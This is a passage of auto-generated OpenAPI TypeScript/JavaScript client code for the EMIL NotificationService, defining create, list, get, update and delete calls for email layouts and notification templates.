/**
*
* @type {UpdateLayoutRequestDto}
* @memberof LayoutsApiUpdateLayout
*/
readonly updateLayoutRequestDto: UpdateLayoutRequestDto;
/**
* Bearer Token
* @type {string}
* @memberof LayoutsApiUpdateLayout
*/
readonly authorization?: string;
}
/**
* LayoutsApi - object-oriented interface
* @export
* @class LayoutsApi
* @extends {BaseAPI}
*/
export declare class LayoutsApi extends BaseAPI {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {LayoutsApiCreateLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
createLayout(requestParameters: LayoutsApiCreateLayoutRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<CreateLayoutResponseClass, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {LayoutsApiDeleteLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
deleteLayout(requestParameters: LayoutsApiDeleteLayoutRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<object, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {LayoutsApiGetLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
getLayout(requestParameters: LayoutsApiGetLayoutRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<GetLayoutResponseClass, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {LayoutsApiListLayoutsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
listLayouts(requestParameters?: LayoutsApiListLayoutsRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListLayoutsResponseClass, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {LayoutsApiUpdateLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
updateLayout(requestParameters: LayoutsApiUpdateLayoutRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<UpdateLayoutResponseClass, any, {}>>;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.LayoutsApi = exports.LayoutsApiFactory = exports.LayoutsApiFp = exports.LayoutsApiAxiosParamCreator = void 0;
var axios_1 = __importDefault(require("axios"));
// Some imports not used depending on template conditions
// @ts-ignore
var common_1 = require("../common");
// @ts-ignore
var base_1 = require("../base");
// URLSearchParams not necessarily used
// @ts-ignore
var url_1 = require("url");
var FormData = require('form-data');
/**
* LayoutsApi - axios parameter creator
* @export
*/
var LayoutsApiAxiosParamCreator = function (configuration) {
var _this = this;
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateLayoutRequestDto} createLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createLayout: function (createLayoutRequestDto, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'createLayoutRequestDto' is not null or undefined
(0, common_1.assertParamExists)('createLayout', 'createLayoutRequestDto', createLayoutRequestDto);
localVarPath = "/notificationservice/v1/layouts";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(createLayoutRequestDto, localVarRequestOptions, configuration);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteLayout: function (id, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'id' is not null or undefined
(0, common_1.assertParamExists)('deleteLayout', 'id', id);
localVarPath = "/notificationservice/v1/layouts/{id}"
.replace("{".concat("id", "}"), encodeURIComponent(String(id)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'DELETE' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2 Layout id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getLayout: function (id, id2, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'id' is not null or undefined
(0, common_1.assertParamExists)('getLayout', 'id', id);
// verify required parameter 'id2' is not null or undefined
(0, common_1.assertParamExists)('getLayout', 'id2', id2);
localVarPath = "/notificationservice/v1/layouts/{id}"
.replace("{".concat("id", "}"), encodeURIComponent(String(id)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (id2 !== undefined) {
localVarQueryParameter['id'] = id2;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listLayouts: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
localVarPath = "/notificationservice/v1/layouts";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (pageSize !== undefined) {
localVarQueryParameter['pageSize'] = pageSize;
}
if (pageToken !== undefined) {
localVarQueryParameter['pageToken'] = pageToken;
}
if (filter !== undefined) {
localVarQueryParameter['filter'] = filter;
}
if (search !== undefined) {
localVarQueryParameter['search'] = search;
}
if (order !== undefined) {
localVarQueryParameter['order'] = order;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (filters !== undefined) {
localVarQueryParameter['filters'] = filters;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateLayoutRequestDto} updateLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateLayout: function (id, updateLayoutRequestDto, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'id' is not null or undefined
(0, common_1.assertParamExists)('updateLayout', 'id', id);
// verify required parameter 'updateLayoutRequestDto' is not null or undefined
(0, common_1.assertParamExists)('updateLayout', 'updateLayoutRequestDto', updateLayoutRequestDto);
localVarPath = "/notificationservice/v1/layouts/{id}"
.replace("{".concat("id", "}"), encodeURIComponent(String(id)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'PUT' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(updateLayoutRequestDto, localVarRequestOptions, configuration);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
};
};
exports.LayoutsApiAxiosParamCreator = LayoutsApiAxiosParamCreator;
/**
* LayoutsApi - functional programming interface
* @export
*/
var LayoutsApiFp = function (configuration) {
var localVarAxiosParamCreator = (0, exports.LayoutsApiAxiosParamCreator)(configuration);
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateLayoutRequestDto} createLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createLayout: function (createLayoutRequestDto, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.createLayout(createLayoutRequestDto, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteLayout: function (id, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.deleteLayout(id, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2 Layout id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getLayout: function (id, id2, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.getLayout(id, id2, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listLayouts: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.listLayouts(authorization, pageSize, pageToken, filter, search, order, expand, filters, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateLayoutRequestDto} updateLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateLayout: function (id, updateLayoutRequestDto, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.updateLayout(id, updateLayoutRequestDto, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
};
};
exports.LayoutsApiFp = LayoutsApiFp;
/**
* LayoutsApi - factory interface
* @export
*/
var LayoutsApiFactory = function (configuration, basePath, axios) {
var localVarFp = (0, exports.LayoutsApiFp)(configuration);
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateLayoutRequestDto} createLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createLayout: function (createLayoutRequestDto, authorization, options) {
return localVarFp.createLayout(createLayoutRequestDto, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteLayout: function (id, authorization, options) {
return localVarFp.deleteLayout(id, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2 Layout id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getLayout: function (id, id2, authorization, options) {
return localVarFp.getLayout(id, id2, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listLayouts: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
return localVarFp.listLayouts(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateLayoutRequestDto} updateLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateLayout: function (id, updateLayoutRequestDto, authorization, options) {
return localVarFp.updateLayout(id, updateLayoutRequestDto, authorization, options).then(function (request) { return request(axios, basePath); });
},
};
};
exports.LayoutsApiFactory = LayoutsApiFactory;
/**
* LayoutsApi - object-oriented interface
* @export
* @class LayoutsApi
* @extends {BaseAPI}
*/
var LayoutsApi = /** @class */ (function (_super) {
__extends(LayoutsApi, _super);
function LayoutsApi() {
return _super !== null && _super.apply(this, arguments) || this;
}
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {LayoutsApiCreateLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
LayoutsApi.prototype.createLayout = function (requestParameters, options) {
var _this = this;
return (0, exports.LayoutsApiFp)(this.configuration).createLayout(requestParameters.createLayoutRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {LayoutsApiDeleteLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
LayoutsApi.prototype.deleteLayout = function (requestParameters, options) {
var _this = this;
return (0, exports.LayoutsApiFp)(this.configuration).deleteLayout(requestParameters.id, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {LayoutsApiGetLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
LayoutsApi.prototype.getLayout = function (requestParameters, options) {
var _this = this;
return (0, exports.LayoutsApiFp)(this.configuration).getLayout(requestParameters.id, requestParameters.id2, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {LayoutsApiListLayoutsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
LayoutsApi.prototype.listLayouts = function (requestParameters, options) {
var _this = this;
if (requestParameters === void 0) { requestParameters = {}; }
return (0, exports.LayoutsApiFp)(this.configuration).listLayouts(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {LayoutsApiUpdateLayoutRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof LayoutsApi
*/
LayoutsApi.prototype.updateLayout = function (requestParameters, options) {
var _this = this;
return (0, exports.LayoutsApiFp)(this.configuration).updateLayout(requestParameters.id, requestParameters.updateLayoutRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
return LayoutsApi;
}(base_1.BaseAPI));
exports.LayoutsApi = LayoutsApi;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
import { RequestArgs, BaseAPI } from '../base';
import { CreateNotificationTemplateRequestDto } from '../models';
import { CreateNotificationTemplateResponseClass } from '../models';
import { GetNotificationTemplateResponseClass } from '../models';
import { ListNotificationTemplatesResponseClass } from '../models';
import { UpdateNotificationTemplateRequestDto } from '../models';
import { UpdateNotificationTemplateResponseClass } from '../models';
/**
* NotificationTemplatesApi - axios parameter creator
* @export
*/
export declare const NotificationTemplatesApiAxiosParamCreator: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateNotificationTemplateRequestDto} createNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createNotificationTemplate: (createNotificationTemplateRequestDto: CreateNotificationTemplateRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteNotificationTemplate: (id: number, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2
* @param {string} [authorization] Bearer Token
* @param {string} [expand]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getNotificationTemplate: (id: number, id2: number, authorization?: string, expand?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
